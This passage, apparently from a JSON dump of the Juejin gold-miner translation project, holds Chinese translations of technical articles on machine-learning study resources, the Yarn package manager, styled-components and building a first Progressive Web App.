GWC](http://console.google.com)、[Microsoft Azure](http://azure.microsoft.com) 或者 [其它各种各样的服务商](http://serverbear.com/)。一次性启动 1,000 台服务器，意识到自己坐拥如此之大的合法“僵尸网络”是多么的让人兴奋！之前我在 Google 工作，曾在欧洲某处接手 5,000 余台高端主机作为主题模型计算终端，它们是我们通过能源法案获益的核电厂相当可观的一部分资源。我的经理把我带到一旁，偷偷告诉我这个实验是多么的昂贵……\n\n    可能入门这块最简单的方法就是去了解 [docker](http://www.docker.com) 了吧。现在 docker 团队已经开发了大量的规模化工具。特别是他们最近加上的 [Docker Machine](https://docs.docker.com/machine/) 和 [Docker Cloud](https://docs.docker.com/cloud/)，可以让你就像使用打印机驱动一样连接云服务。\n\n  - 硬件\n\n    说道硬件可能会让人迷惑，但是如果你了解你的算法会在什么硬件上运行，对优化算法是很有帮助的。这可以让你知道你的算法是否能在任何条件下保持巅峰性能。我认为每个入门者都应该看看 Jeff Dean 的 [《每个工程师都需要记住的数值》](https://gist.github.com/jboner/2841832)。我在面试时最喜欢的问题（至少现在最喜欢）就是“请问你的笔记本电脑有多快”。了解是什么限制了算法的性能是很有用的：是缓存？是内存带宽？延迟？还是磁盘？或者别的什么？[Anandtech](http://www.anandtech.com) 在微处理器架构与相关方面写了很多很好的文章与评论，在 Intel、ARM、AMD 发布新硬件的时候不妨去看一看他的评论。\n\n- 统计学\n\n  我故意把这块内容放在文章的末尾，因为几乎所有人都认为它是（它的确是）机器学习的关键因而忽视了其它内容。统计学可以帮你问出好的问题，也能帮你理解你的建模与实际数据有多接近。\n\n  大多数图模型、核方法、深度学习等都能从“问一个好的问题”得到改进，或者说能够定义一个合理的可优化的目标函数。\n\n  - 统计学相关资料\n    [Larry Wasserman](http://www.stat.cmu.edu/~larry/) 的书[《All of Statistics》](http://www.stat.cmu.edu/~larry/all-of-statistics/)很好地介绍了统计学。或者你也可以看看 David McKay 的 [《Machine Learning》](http://www.inference.phy.cam.ac.uk/itprnn/book.pdf)一书，它是免费的，内容丰富而全面。此外还有很多好书值得一看，例如 [Kevin Murphy](https://mitpress.mit.edu/books/machine-learning-0) 的、[Chris Bishop](http://research.microsoft.com/en-us/um/people/cmbishop/prml/) 的、以及 [Trevor Hastie、Rob Tibshirani 与 Jerome Friedman](http://statweb.stanford.edu/~tibs/ElemStatLearn/) 合著的书。还有，Bernhard Scholkopf 和我也[写了一本](https://mitpress.mit.edu/books/learning-kernels)。\n\n  - 随机算法与概率计算\n\n    统计学算法本质上也是个计算机科学方面的问题。但是统计学的算法与计算机科学的最大区别在于，统计学是将计算机作为一个工具来设计算法，而不是作为一个黑箱进行调参。我很喜欢[这本 Michael Mitzenmacher 与 Eli Upfal 合著的书](http://www.amazon.com/Probability-Computing-Randomized-Algorithms-Probabilistic/dp/0521835402)，它涵盖了很多方面的问题，并且很容易读懂。另外如果你想更深入地了解这个“工具”，请阅读[这本 Rajeev Motwani 和 Prabhakar Raghavan 合著的书籍](http://www.amazon.com/Randomized-Algorithms-Rajeev-Motwani/dp/0521474655)。这本书写的很棒，但是没有统计学背景很难理解它。\n\n这篇文章已经写的够久了，不知道有没有人能读到这里，我要去休息啦。现在网上有很多很棒的视频内容可以帮助你学习，许多教师现在都开通了他们的 Youtube 频道，上传他们的上课内容。这些课程有时可以帮你解决一些复杂的问题。这儿是[我的 Youtube 频道](https://www.youtube.com/user/smolix/playlists)欢迎订阅。顺便推荐 [Nando de Freitas 的 Youtube 频道](https://www.youtube.com/user/ProfNandoDF)，他比我讲得好多了。\n\n最后推荐一个非常好用的工具：[DMLC](http://www.dmlc.ml)。它很适合入门，包含了大量的分布式、规模化的机器学习算法，还包括了通过 MXNET 实现的神经网络。\n\n虽然本文还有很多方面没有提到（例如编程语言、数据来源等），但是这篇文章已经太长了，这些内容请参考其他文章吧~\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/Yarn-A-new-package-manager-for-JavaScript.md",
    "content": ">* 原文链接 : [Yarn: A new package manager for JavaScript](https://code.facebook.com/posts/1840075619545360)\n* 原文作者 : [SEBASTIAN MCKENZIE](https://www.facebook.com/sebmck)，[CHRISTOPH POJER](https://www.facebook.com/cpojer)，[JAMES KYLE](https://www.facebook.com/thejameskyle)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [达仔](https://github.com/Zhangjd)\n* 校对者: [根号三](https://github.com/sqrthree) \n\n\n在 JavaScript 社区中，工程师们互相分享成千上万的代码，帮助我们节省大量编写基础组件、类库或框架的时间。每个代码包可能都依赖于其他代码，而代码间的依赖关系则由包管理器负责维护。目前最流行的 JavaScript 包管理器是 `npm` 客户端，在 `npm` 仓库中提供了多达 30 万的软件包。据统计，已有超过 500 万的工程师使用 `npm` 仓库，其软件包下载量达到了 50 亿次/月。\n\n在 Facebook 中，我们多年来一直在使用 `npm` 客户端并取得了成功，但随着代码仓库与团队人数的增长，我们在一致性、安全性以及性能方面遇到了挑战。在尝试解决每个方面的问题后，我们最终决定着手打造一套新的客户端解决方案，以帮助我们更可靠地管理依赖。我们把这个客户端工具称为 `Yarn` —— 更加快速、可靠、安全的 `npm` 客户端的替代品。\n\n我们在此荣幸地宣布，我们与 Exponent、 Google 和 Tilde 进行了合作，并开源 `Yarn` 项目。工程师在使用 `Yarn` 时，依然可以访问 `npm` 仓库，但 `Yarn` 能够更快速地安装软件包和管理依赖关系，并且可以在跨机器或者无网络的安全环境中保持代码的一致性。`Yarn` 提高了开发效率，并解决了共享代码时面临的一些问题，使得工程师们可以专注在构建新产品以及新特性上。\n\n## JavaScript 包管理方式在 Facebook 的演变\n\n在包管理工具出现之前，JavaScript 工程师们通常依赖的项目并不多，因此会把依赖直接存储在工程目录或上传到 CDN 上。在 Node.js 出现后不久，第一个主流的 JavaScript 包管理工具 `npm` 被引入进来，并很快成为了最受欢迎的包管理工具之一。从此，新的开源项目不断涌现，工程师们比起以前更加乐于分享代码了。\n\n在 Facebook 中，我们有很多项目都要依赖 `npm` 仓库上的代码，比如 React。但随着内部规模的扩大，我们面临着以下挑战：在跨平台与跨用户之间安装依赖时的代码一致性问题、在安装依赖时花费太长时间、以及 `npm` 客户端自动执行某些依赖库的代码所导致的安全性问题。我们尝试过寻找这些问题的解决方案，但在这个过程中通常又会引起一些新的问题。\n\n### 尝试修改 npm 客户端\n\n在开始阶段，我们遵循了最佳实践，在代码仓库中只跟踪了 `package.json` 文件的变化，并要求工程师手动运行 `npm install` 命令安装依赖。这种模式在开发人员的电脑上没有问题，但在持续集成环境中遇到了困难，因为出于安全与可靠性的考虑，持续集成环境需要进行沙箱隔离，不能进行联网，因此也无法安装依赖。\n\n接下来，我们尝试在代码仓库中跟踪整个 `node_modules` 目录的文件变化。虽然这种方式有效，却使得一些简单操作变得复杂化了。比如，对 [babel](https://babeljs.io/) 更新一个次要版本号时，会产生多达 800,000 行的提交记录，此外由于 lint 规则的存在，引起无效的 utf-8 字节序列、windows 换行符、非 png 压缩图片等问题时，将会导致工程师经常需要花费一整天的时间合并 `node_modules` 目录的文件。而我们负责源码控制的团队也指出，跟踪 `node_modules` 目录会引入过多的元数据。比如 React Native 的 `package.json` 文件目前只列出了68项依赖，但在运行 `npm install` 后，`node_modules` 目录整整包含了 121,358 个文件。\n\n最后，为了有效组织 Facebook 逐渐增长的工程师人数以及管理需要安装的代码量，我们尝试修改 `npm` 客户端。我们决定压缩整个 `node_modules` 目录，并上传到内部 CDN，然后我们的工程师与持续集成系统都能从 CDN 上下载并解压文件，从而保证了代码一致性。这样我们就可以从源码控制系统中删除数以万计的文件了，但不足之处是工程师现在不仅在拉代码时需要联网了，构建也同样需要联网。\n\n我们还试图为 `npm` 的 [shrinkwrap](https://docs.npmjs.com/cli/shrinkwrap) 功能寻求优化方案，这个工具是用来锁定依赖版本号的。但 `Shrinkwrap` 功能的文件默认不会生成，如果开发者忘记了生成这一步骤，文件就不会被同步更新，因此我们编写了一个工具，以确定  `Shrinkwrap` 的文件内容和 `node_modules` 目录中的文件相符。这些文件由大量的 JSON 块组成，并且键名是无序的，因此每次更改通常会导致 `Shrinkwrap` 文件的内容大幅变化，难以进行代码审查。为减缓这一问题，我们还需要借助一个额外的脚本，对所有条目进行排序。\n\n最后，通过 `npm` 升级单个依赖包时，基于 [语义化版本号](http://semver.org/) 规则，`npm` 通常会连同其他无关依赖一起更新。这使得每次更新都会比预期产生更多的变化，工程师们认为这样把 `node_modules` 提交上传到 CDN 的过程，难以达到预期的效果。\n\n### 构建新客户端\n\n与其围绕 `npm` 客户端继续构建基础设施，不如从整体上再次回顾这些问题。伦敦办公室的 Sebastian McKenzie 提出，如果我们建立一个新客户端工具以代替 `npm` 客户端，从而解决我们的核心问题呢？这一构思很快得到了我们的认同，团队对于这个主意也感到非常兴奋。\n\n在开发过程中，我们与业界的工程师们进行了交流讨论，发现他们也面临着类似的问题，也尝试过许多类似的解决方案，通常只能把这些问题逐一解决。很明显，有必要把整个 JavaScript 社区正在面临的问题集合起来，然后我们就可以开发一个主流的解决方案了。在此感谢 Exponent、 Google 与 Tilde 的工程师们的协助，我们共同建立了 `Yarn` 客户端，并在每一个主流 JS 框架以及 Facebook 外的使用场景中测试验证了 Yarn 的性能。今天（2016-10-11），我们很荣幸把这个工具开源分享到社区中。\n\n## 介绍 Yarn\n\n`Yarn` 是一个新的包管理器，用于替代现有的 `npm` 客户端或者其他兼容 `npm` 仓库的包管理工具。`Yarn` 保留了现有工作流的特性，优点是更快、更安全、更可靠。\n\n任何包管理器的主要功能都是安装某些软件包，软件包即用于特定功能的某段代码，通常是从一个全局的仓库安装到工程师的本地环境。每个软件包可以依赖于其他包，也可以不依赖。一个典型的项目结构的依赖树通常会包含数十个、数百个甚至上千个软件包。\n\n这些依赖包通常是带版本号的，通过语义化版本控制（semver）安装。Semver 定义的版本号反映了每个新版本更改的类型，到底是进行了不兼容的API改动（MAJOR），还是添加了向后兼容的新特性（MINOR），还是进行了向后兼容的 bug 修复（PATCH）。然而，semver 依赖于软件包的开发者不能犯错误——如果依赖关系没有加锁，可能会引入一些破坏性更改或者产生新的 bug。\n\n### 结构\n\n在 Node 生态系统中，依赖通常安装在项目的 `node_modules` 文件夹中。然而，这个文件的结构和实际依赖树可能有所区别，因为重复的依赖可以合并到一起。`npm` 客户端把依赖安装到 `node_modules` 目录的过程具有不确定性。这意味着当依赖的安装顺序不同时，`node_modules` 目录的结构可能会发生变化。这种差异可能会导致类似“我的机子上可以运行，别的机子不行”的情况，并且通常要花费大量时间定位与解决。\n\n`Yarn` 通过 lockfiles 文件以及一个确定性的、可靠的安装算法，解决了版本问题和 `npm` 的不确定性问题。Lockfile 文件把安装的软件包版本锁定在某个特定版本，并保证 `node_modules` 目录在所有机器上的安装结果都是相同的。Lockfile 还使用简洁的有序键名的格式，保证了每次的文件变化最小化，进行代码审查也更为简单。\n\n安装过程分为以下三个步骤：\n\n1. **处理：** `Yarn` 通过向代码仓库发送请求，并递归查找每个依赖项，从而解决依赖关系。\n2. **抓取：** 接下来，`Yarn` 会查找全局的缓存目录，检查所需的软件包是否已被下载。如果没有，Yarn 会抓取对应的压缩包，并放置在全局的缓存目录中，因此 `Yarn` 支持离线安装，同一个安装包不需要下载多次。依赖也可以通过 tarball 的压缩形式放置在源码控制系统中，以支持完整的离线安装。\n3. **生成：** 最后，`Yarn` 从全局缓存中把需要用到的所有文件复制到本地的 `node_modules` 目录中。\n\n通过清晰地细分这些步骤，以及确定性的算法支持，使得 `Yarn` 支持并行操作，从而最大化地利用资源，并加速安装进程。在一些 Facebook 的项目上，`Yarn` 甚至可以把安装过程降低一个数量级，从几分钟到只需几秒钟。`Yarn` 还使用了互斥锁，以确保多个 CLI 实例同时运行时不会互相冲突与影响。\n\n纵观整个过程，`Yarn` 对于软件包安装加上了严格的限制。你可以对哪个生命周期脚本作用于哪个软件包进行控制。软件包的 checksum 也会存储在 lockfile 中，以确保每一次安装都可以得到同一个包。\n\n### 特性\n\n`Yarn` 除了让安装过程变得更快与更可靠，还添加了一些额外的特性，从而进一步简化依赖管理的工作流。\n\n*   同时兼容 `npm` 与  [bower](https://bower.io/) 工作流，并支持两种软件仓库混合使用\n*   可以限制已安装模块的协议，并提供方法输出协议信息\n*   提供一套稳定的公有 JS API，用于记录构建工具的输出信息\n*   可读、最小化、美观的 CLI 输出信息\n\n### Yarn 用于生产环境\n\n我们已经在 Facebook 中把 `Yarn` 用于生产环境，并且效果非常理想。`Yarn` 有效地管理了许多 JavaScript 项目的包依赖关系。在每次迁移时，构建都可以离线进行，因此加速了工作流程。我们基于 React Native 在不同条件下进行安装时间测试，比较了 `Yarn` 与 `npm` 的性能，[具体参见这里](https://yarnpkg.com/en/compare)。\n\n![](http://ww4.sinaimg.cn/large/5ef54d60jw1f8p8iy84s9g20nj05ldjm.gif)\n\n## 起步\n\n最简单的起步方法是：\n\n    npm install -g yarnpkg\n    yarn\n\n`yarn` CLI 代替了原有开发工作流中 `npm` CLI 的作用，用法可能是单纯的替代，也可能是一个新的、相似的命令：\n\n*   `npm install` → `yarn`\n\n    不需要带参数，`yarn` 命令会读取 `package.json` 文件，然后从 npm 仓库中抓取软件包，并放置到 `node_modules` 目录中。等价于运行 `npm install`。\n*   `npm install --save <name>` → `yarn add <name>`\n\n    我们避免了 `npm install <name>` 命令中安装“不可见的依赖”的行为，并分离出一个新命令。运行 `yarn add <name>` 等价于运行 `npm install --save <name>`。\n\n### 未来\n\n目前已经有许多成员一起参与到 `Yarn` 的构建中，以解决我们的共同问题，我们也希望 `Yarn` 未来能真正成为一个大众化的社区项目。`Yarn` 目前已经 [在 GitHub 开源](https://github.com/yarnpkg/yarn) ，我们也已经准备好向 Node 社区进行推广：使用 `Yarn`、分享构思、编写文档、互相支持，并帮助构建一个很棒的社区来进行长期维护。我们相信 `Yarn` 已经拥有一个良好的开局，如果有你的帮助，`Yarn` 的未来将会更加美好。\n"
  },
  {
    "path": "TODO/a-5-minute-intro-to-styled-components.md",
    "content": "> * 原文地址：[A 5-minute Intro to Styled Components](https://medium.freecodecamp.com/a-5-minute-intro-to-styled-components-41f40eb7cd55#.z1nrxe1zr)\n* 原文作者：[Sacha Greif](https://medium.freecodecamp.com/@sachagreif)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[根号三](https://github.com/sqrthree)\n* 校对者：[Tina92](https://github.com/Tina92)、[lovelyCiTY](https://github.com/lovelyCiTY)\n\n# 一个关于 Styled Components 的五分钟介绍\n\n![](https://cdn-images-1.medium.com/max/2000/1*DIFji4ZmJa4_H3EpbG2XAw.png)\n\nCSS 是一个很神奇的语言，你可以在 15 分钟之内就学会一些基础部分，但是如果你要找到一个好的方式来组织你的样式，将会花费数年时间。\n\n这主要是由于语言本身很奇葩。不合常规的是， CSS 是相当有限的，没有变量、循环或者函数。与此同时，它又是相当自由的，你可以随意使用元素、Class、ID 或它们的任意组合。\n\n### 混乱的样式表\n\n正如你自己所经历过的那样，CSS 通常是很混乱的。虽然有诸如 SASS 和 LESS 这样的预处理器添加了大量有用的特性，但是它们仍然不能阻止 CSS 的这种混乱状态。\n\n组织工作留给了像 [BEM](http://getbem.com/) 这样的方法，这些方法虽然很有用但是完全是自选方案，不能在语言或工具级别强制实施。\n\n### CSS 的新浪潮\n\n最近一两年，新一波基于 JavaScript 的工具正试图通过改变编写 CSS 的方式来从根本上解决这些问题。\n\n[Styled Components](https://github.com/styled-components/styled-components) 就是那些工具库之一，因为兼顾创新和传统的优势，它很快就吸引了大量的关注。因此，如果你是 React 使用者（如果你不是的话，可以看看 [我的 JavaScript 学习计划](https://medium.freecodecamp.com/a-study-plan-to-cure-javascript-fatigue-8ad3a54f2eb1) 和我写的 [React 简介](https://medium.freecodecamp.com/the-5-things-you-need-to-know-to-understand-react-a1dbd5d114a3)），就绝对值得看看这个新的 CSS 替代者。\n\n最近我用它 [重新设计了我的个人网站](http://sachagreif.com/)，今天我想分享下我在这个过程中所学到的一些东西。\n\n### 组件, 样式化\n\n关于 Styled Components 你需要理解的最主要的事情就是其名称应该采取字面意思。你不再根据他们的 Class 或者 HTML 元素来对 HTML 元素或组件进行样式化了。\n\n    <h1 className=\"title\">Hello World</h1>\n\n    h1.title {\n      font-size: 1.5em;\n      color: purple;\n    }\n\n相反，你可以定义一个拥有它们自己的封装风格的 styled Components。然后你就可以在你的代码中自由的使用它们了。\n\n    import styled from 'styled-components';\n\n    const Title = styled.h1`\n      font-size: 1.5em;\n      color: purple;\n    `;\n\n    <Title>Hello World</Title>\n\n这两段代码看起来有一些细微的差别，事实上两者语法是非常相似的。但是它们的关键区别在于样式现在是这些组件的一部分啦。\n\n换句话说，我们正在摆脱 CSS class 作为组件和其样式的中间步骤这种情况。\n\nstyled-components 的联合创造者 Max Stoiber 说：\n\n> styled-components 的基本思想就是通过移除样式和组件之间的映射关系来达到最佳实践。\n\n### 减少复杂性\n\n这首先是反直觉的，因为使用 CSS 而不是直接定义 HTML 元素的关键点（还记得 `<font>` 标签吗？）是引入 class 这个中间层来解耦样式和标签。\n\n但是这层解耦也创造了很多复杂性。有这样一个的观点：相比于 CSS，诸如 Javascript 这类『真正』的编程语言具备了更好的处理这种复杂性的能力。\n\n### 类（Class）上的 Props\n\n为了遵循 『无类(no-class)』的理念，当涉及到自定义一个组件的行为时，styled-components 使用了类上的 props（props over classes）。所以呢，代码不是这样的：\n\n    <h1 className=\"title primary\">Hello World</h1> // will be blue\n\n    h1.title{\n      font-size: 1.5em;\n      color: purple;\n\n      &.primary{\n        color: blue;\n      }\n    }\n\n你需要这样写：\n\n    const Title = styled.h1`\n      font-size: 1.5em;\n      color: ${props => props.primary ? 'blue' : 'purple'};\n    `;\n\n    <Title primary>Hello World</Title> // will be blue\n\n正如你所看到的那样，styled-components 通过将所有的 CSS 和 HTML 之间的相关实现细节（从组件中）分离出来使你的 React 组件更干净。\n\n也就是说，styled-components 的 CSS 仍然还是 CSS。所以像下面这样的代码也是完全有效的（尽管略微不常用）。\n\n    const Title = styled.h1`\n      font-size: 1.5em;\n      color: purple;\n\n      &.primary{\n        color: blue;\n      }\n    `;\n\n    <Title className=\"primary\">Hello World</Title> // will be blue\n\n这是让 styled-components 很容易就被接受的一个特性：当存在疑惑时，你总是可以倒退回你所熟悉的领域。\n\n### 警告\n\n需要提到的很重要的一点是 styled-components 仍然是一个很年轻的项目。有一些特性到目前为止还没有完全支持。例如，如果你想 [从父组件中样式化一个子组件](https://github.com/styled-components/styled-components/issues/142) 时，目前你仍不得不依靠 CSS class 来实现（至少要持续到 styled-components 版本 2 发布）。\n\n目前也有一个非官方的方法来实现 [服务端预渲染你的 CSS](https://github.com/styled-components/styled-components/issues/124)，虽然它是通过手动注入样式来实现的。\n\n事实上，styled-components 生成它自己的随机 class 名会使你很难通过浏览器的开发工具来确定你的样式最初是在哪里定义的。\n\n但是鼓舞人心的是，styled-components 核心团队已经意识到了这些问题，并且努力地一个又一个的攻克它们。[版本 2 很快就要来啦]((https://github.com/styled-components/styled-components/tree/v2))，我真的很期待它呢。\n\n### 了解更多一点吧\n\n我这篇文章的目的不是向你详细解释 styled-components 是如何生效的，更多的是给你一个小瞥。所以你可以自己决定是否值得一试。\n\n如果我的文章让你感到好奇的话，这里有一些链接你可以了解更多关于 styled-components 的知识。\n\n- Max Stoiber 最近给 [Smashing Magazine](https://www.smashingmagazine.com/2017/01/styled-components-enforcing-best-practices-component-based-systems/) 写了一篇文章有关创建 styled-components 的原因的文章。\n- [styled-components repo](https://github.com/styled-components/styled-components) 它自己就有一个很丰富的文档.\n- [Jamie Dixon 写的这篇文章](https://medium.com/@jamiedixon/styled-components-production-patterns-c22e24b1d896#.tfxr5bws2) 讲述了切换到 styled-components 的几个好处.\n- 如果你想了解更多关于这个库实际上是如何实现的，可以阅读 Max 的 [这篇文章](http://mxstbr.blog/2016/11/styled-components-magic-explained/)。\n\n如果你想更进一步，也可以了解下 [Glamor](https://github.com/threepointone/glamor) —— 一个完全不同的 CSS 新浪潮。\n"
  },
  {
    "path": "TODO/a-beginners-guide-to-making-progressive-web-apps.md",
    "content": "\n> * 原文地址：[A beginner’s guide to making Progressive Web Apps](https://medium.com/samsung-internet-dev/a-beginners-guide-to-making-progressive-web-apps-beb56224948e)\n> * 原文作者：[uve](https://medium.com/@uveavanto)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-beginners-guide-to-making-progressive-web-apps.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-beginners-guide-to-making-progressive-web-apps.md)\n> * 译者：[Haichao Jiang](https://github.com/AceLeeWinnie)\n> * 校对者：[sun](https://github.com/sunui) [leviding](https://github.com/leviding) \n\n# 构建渐进式 Web 应用入门指南\n\n你可能已经听过渐进式 Web 应用或 PWA 的大名，然而我并不打算深入 PWA 的构建和工作细节。这篇文章的目的在于说明 **PWA 是一个可以添加到手机主屏幕的网页**，并且它还能够离线运行。\n\n![](https://cdn-images-1.medium.com/max/800/1*2le_ZVx-FUCsK4oCXKcpqg.jpeg)\n\n\n我知道一些 HTML、CSS、JavaScript 的知识并且了解如何使用 GitHub。\n\n我是 web 开发新手，当下也不想学习 Web 开发的原理和工作机制。我希望有一个简单、基础的方式做出一些东西，而不用连篇累牍地阅读文档和教程。**希望通过这篇文章你会学到所有在开始构建 PWA 时需要的知识。**\n\n要做 PWA 首先要有一个网站。当然，本文假定你已经可以制作多端适配的网站。幸运的是我们不需要通过 scratch 才能做到，我们可以使用模板。我喜欢使用 [HTML5 UP](https://html5up.net/) 和 [Start Bootstrap](https://startbootstrap.com/)。\n\n选择并下载主题，把 index.html 中的所有内容替换成你自己的。如果你对编辑 CSS 有把握的话，你甚至可以更改颜色。\n\n在这个项目里，我为 Web Community Leads UK and IE 组织制作了一个登录页。你可以通过阅读 [Daniel](https://medium.com/@torgo) 的[相关博客](https://medium.com/samsung-internet-dev/web-communities-for-the-people-6440e0c8e543)读到更多内容，或者访问我做的网站 [https://webcommunityukie.github.io/](https://webcommunityukie.github.io/)。\n\n把这个网站做成 PWA 并没有为大多数用户带来更多体验，同时我也不希望每个人都把它加入主屏幕，但是它仍然优化了体验。我只是想要一个小网站来开启自己制作 PWA 之旅。\n\n我真的想要一个简单的网站，我喜欢 [Hacksmiths](http://goldsmiths.tech/) 并且知道它是开源的，所以我下载下来并且消化了源码。我保留了一个链接在下方，指向原网页和源码，人们可以 folk 出一个新网站。\n\n现在我们有个网站了，可以把它变成一个渐进式 web 应用。为了达到目的，我们需要添加一系列东西，待会我会说明为什么我们需要他们。\n\n### 测试你的 PWA\n\n要检查你的网站是否是 PWA，你可以用 [Lighthouse](https://developers.google.com/web/tools/lighthouse/)。Lighthouse 是一个 chrome 插件，可以告诉你访问的网站是不是支持 PWA，如果不支持应该如何优化。\n\n安装插件后打开网站点击浏览器右上角的 Lighthouse 图标然后点击 Generate Report。对网站检测后会打开一个新的 tab 页展示结果，你可以浏览全文或者关注顶部的数字，忽略其他部分。\n\n![](https://cdn-images-1.medium.com/max/800/1*1jPywRVAHcebZeUIyPMllQ.png)\n\n我开始处理网站的 PWA 部分前 Lighthouse 的检测结果。\n\n鉴于还没有对网站开始进行 PWA 改造，36/100 不是一个悲观的数字。\n\n### 制作 app icon\n\n你的网站要放在主屏幕，你需要图标来展示它。\n\n你不需要设计一个专业的 logo。对于大多数小项目来说，通过 [the noun project](https://thenounproject.com/)，找到一至两个喜欢的 icon，用 GIMP 把他们放在一起。然后在图层后面添加渐变背景。当然你也可以使用别的方法来制作 icon，只要确认它是方形的。\n\n![](https://cdn-images-1.medium.com/max/800/1*LiFnOpwAokI_d5uD6gEzvw.png)\n\n这是我做的图标。现在回头看我本来应该再加上圆角的。\n\n现在你有一个 app icon 了。🎉\n\n是时候把它放进你的网站里去了。我的方法是通过 [在线 icon 生成工具](http://www.favicon-generator.org/)。上传 blingbling 的新 icon，它会返回一些列不同尺寸版本和 HTML 代码。\n- 下载文件并解压。\n- 把 icon 放进网站文件夹。\n- 把对应的代码放进 index.html 的 \\<head\\> 中\n- 确保 icon 的路径是正确的。我把 icon 放在子文件夹中，所以我需要添加\"/icons\"前缀。\n\n![](https://cdn-images-1.medium.com/max/800/1*5LM7_X9cAfH51oyX2aB59g.png)\n\n### Web App Manifest\n\n下一件要做的就是创建 manifest。manifest 是一个文件，包含了网站的数据，例如网站名字、偏好色彩和使用的 icon。\n实际上，你已经有了一份 manifest，是 icon 生成工具生成的，接着我们要在上面添加更多内容。\n打开 [web app manifest 生成器](https://tomitm.github.io/appmanifest/)，填写网站的相关信息。对要填写的内容不确定的话，设置为默认即可。\n页面右侧，有一些 JSON 数据。复制粘贴到 manifest.json 文件头部，为确保格式正确，你可能需要添加一个逗号或删除一个大括号。\n我的 manifest 文件是 [这样](https://github.com/webcommunityukie/webcommunityukie.github.io/blob/master/manifest.json) 的。\n\n再次运行 lighthouse，检测 manifest 是否正常工作。\n\n![](https://cdn-images-1.medium.com/max/800/1*QUbNjXriuEi68yOil6ayUg.png)\n\nLighthouse 给 manifest 打分，并且 icon 也正常添加了。\n\n### 添加 service worker\n\nservice worker 是另一个我们要加入项目的文件，它允许网站离线工作。它也是实现 PWA 的一个要求，我们需要添加。\nservice worker 比较复杂，相关的文档都很长，并且很混乱，整个页面充满了链接，链接内容也同样又长又乱。\n幸运的是看到了 [Peter](https://medium.com/@poshaughnessy) 推荐的 sw-toolbox，他还给了我一个他自己的代码链接。\n所以我拷贝了他的代码，移除额外的 JavaScript 文件，添加到 service worker， 简化后用到我自己的项目里。\n\n#### 创建 service worker 需要做的 3 件事。\n\n- 在 index.html 的 \\<head\\> 里添加以下代码，注册 service worker：\n\n```javascript\n<script>\nif (‘serviceWorker’ in navigator) {\n  window.addEventListener(‘load’, function() {\n    navigator.serviceWorker.register(‘/sw.js’).then(\n      function(registration) {\n        // Registration was successful\n        console.log(‘ServiceWorker registration successful with scope: ‘, registration.scope); },\n      function(err) {\n        // registration failed :(\n        console.log(‘ServiceWorker registration failed: ‘, err);\n      });\n  });\n}\n</script>\n```\n\n- 添加 sw-toolbox 到项目里。你只需要添加 [这个文件](https://github.com/GoogleChrome/sw-toolbox/blob/master/sw-toolbox.js) 到根目录下。\n- 新建文件，命名为 \"sw.js\"，拷贝并粘贴以下代码：\n\n```javascript\n‘use strict’;\nimportScripts(‘sw-toolbox.js’); toolbox.precache([“index.html”,”style/style.css”]); toolbox.router.get(‘/images/*’, toolbox.cacheFirst); toolbox.router.get(‘/*’, toolbox.networkFirst, { networkTimeoutSeconds: 5});\n```\n\n你想要检查所有文件路径是否正确，编辑预缓存和列出离线时要存储的所有文件，我的站点只用到 index.html 和 style.css，你可能需要其他文件或页面。\n\n现在，用 Lighthouse 再次检测。\n\n![](https://cdn-images-1.medium.com/max/800/1*ySpXMuVi__zP5Pqpd000gg.png)\n\n\n添加 service worker 之后 —— 测试 localhost\n**如果你想要 service worker 做些不一样的事情，而不是仅仅是保存页面，例如网络不通时访问特定的离线页面，你可以试下 [pwabuilder](http://www.pwabuilder.com/generator) 这个 service worker 脚本。**\n\n### 托管到 GitHub Pages 上\n\n你完成了一个 PWA 页面，是时候和全世界分享了。\n我发现最简单的分享方法就是 [GitHub Pages](https://pages.github.com/)。因为它是免费的，并且能为你处理所有安全问题。\n新建一个仓库并上传代码到仓库，就可以托管你的代码了，GitHub GUI 会帮你做这些工作。\n完成以上步骤后，在网站上找到你的仓库，在设置最下面可以选择 master 分支开启 GitHub Pages 功能。\n它会返回访问 PWA 的在线 URL。\n通过 Lighthouse 运行会得到不（更）同（好）的结果，然后把网址分享给你所有的朋友就好啦，或者只要把它下载到自己的手机主屏幕上就可以了。\n\n![](https://cdn-images-1.medium.com/max/800/1*SzanuiJSVc6yrRjTPE_PbA.png)\n\n在 GitHub Pages 托管网站后 Lighthouse 的结果。\n\n![](https://cdn-images-1.medium.com/max/600/1*luHsbfq_Zc00B8IR7QzVmg.png)\n\n**代码如下：**[https://github.com/webcommunityukie/webcommunityukie.github.io](https://github.com/webcommunityukie/webcommunityukie.github.io)\n\n**完整网站如下：**[https://webcommunityukie.github.io/](https://webcommunityukie.github.io/)\n它看起来和我开始时完全一样，但是在 Samsung Internet 上浏览时，地址栏会变成主题色，即浅紫色。会出现一个加号图标让你把它添加到你的主屏幕，允许全屏和离线使用。\n\n还有很多 PWA 相关内容本文没有提到，你可以向他们发送推送通知告知用户你的应用有了新的内容。你可以阅读更多关于 [PWA 构成](https://www.smashingmagazine.com/2016/09/the-building-blocks-of-progressive-web-apps/) 的内容。\n\n我希望本文能帮助你第一次体验到渐进式 web app，如果你在使用的过程中遇到困难，请给我留言或在推特 @ 我。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 